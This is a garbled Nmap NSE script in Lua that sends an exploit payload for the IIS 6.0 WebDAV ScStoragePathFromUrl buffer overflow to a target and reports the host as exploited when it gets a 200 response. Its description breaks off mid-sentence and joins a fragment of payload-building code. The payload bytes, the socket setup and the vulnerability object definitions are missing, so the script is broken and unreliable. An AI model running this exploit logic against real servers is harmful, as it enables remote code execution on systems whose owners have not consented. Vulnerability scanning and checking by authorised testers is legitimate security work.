local nmap = require "nmap" local string = require "string" local shortport = require "shortport" local vulns = require "vulns" -- NSE Buffer Overflow vulnerability in IIS --- -- @usage -- ./nmap iis-buffer-overflow -- -- @output -- PORT STATE SERVICE -- 80/tcp open http -- | iis-buffer-overflow: -- | VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2 -- | State: LIKELY_VULNERABLE -- | Risk factor: High CVSS: 10.0 -- | Description: -- | Buffer overflow in the ScStoragePathFromUrl function in the WebDAV -- | service in Internet Information Services (IIS) 6.0 -- | in Microsoft Windows Server 2003 R2 allows remote attackers to execute -- | arbitrary code via a long header beginning with "If: ' payload = payload .. ' (Not ) \r\n\r\n' -- Exploiting the vulnerability try(socket:send(payload)) -- We receive a 200 response if the payload succeeds. response = try(socket:receive_bytes(80960)) socket:close() -- Checking for 200 response in the response local regex = "HTTP/1.1 (%d+)" local status = string.match(response, regex) if status == '200' then -- Buffer overflow is successfully executed on the server. vuln.state = vulns.STATE.EXPLOIT vuln.exploit_results = response elseif status == '400' then -- Bad request error is occured because webdav is not installed. vuln.state = vulns.STATE.LIKELY_VULN vuln.exploit_results = "Server returned 400: Install webdav and try again." elseif status == '502' then -- Likely to have an error in the Server Name vuln.state = vulns.STATE.LIKELY_VULN vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again" elseif status ~= nil then vuln.exploit_results = response end return vuln_report:make_output(vuln) end